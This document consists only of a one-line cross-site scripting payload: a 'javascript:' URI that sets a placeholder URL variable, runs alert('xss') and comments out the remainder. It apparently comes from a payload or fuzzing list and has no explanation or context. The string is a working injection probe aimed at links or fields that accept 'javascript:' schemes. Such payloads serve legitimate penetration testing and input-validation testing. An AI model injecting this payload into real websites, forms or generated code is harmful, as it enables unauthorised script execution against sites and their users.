javascript:x=’http://x.c’;alert(‘xss’);//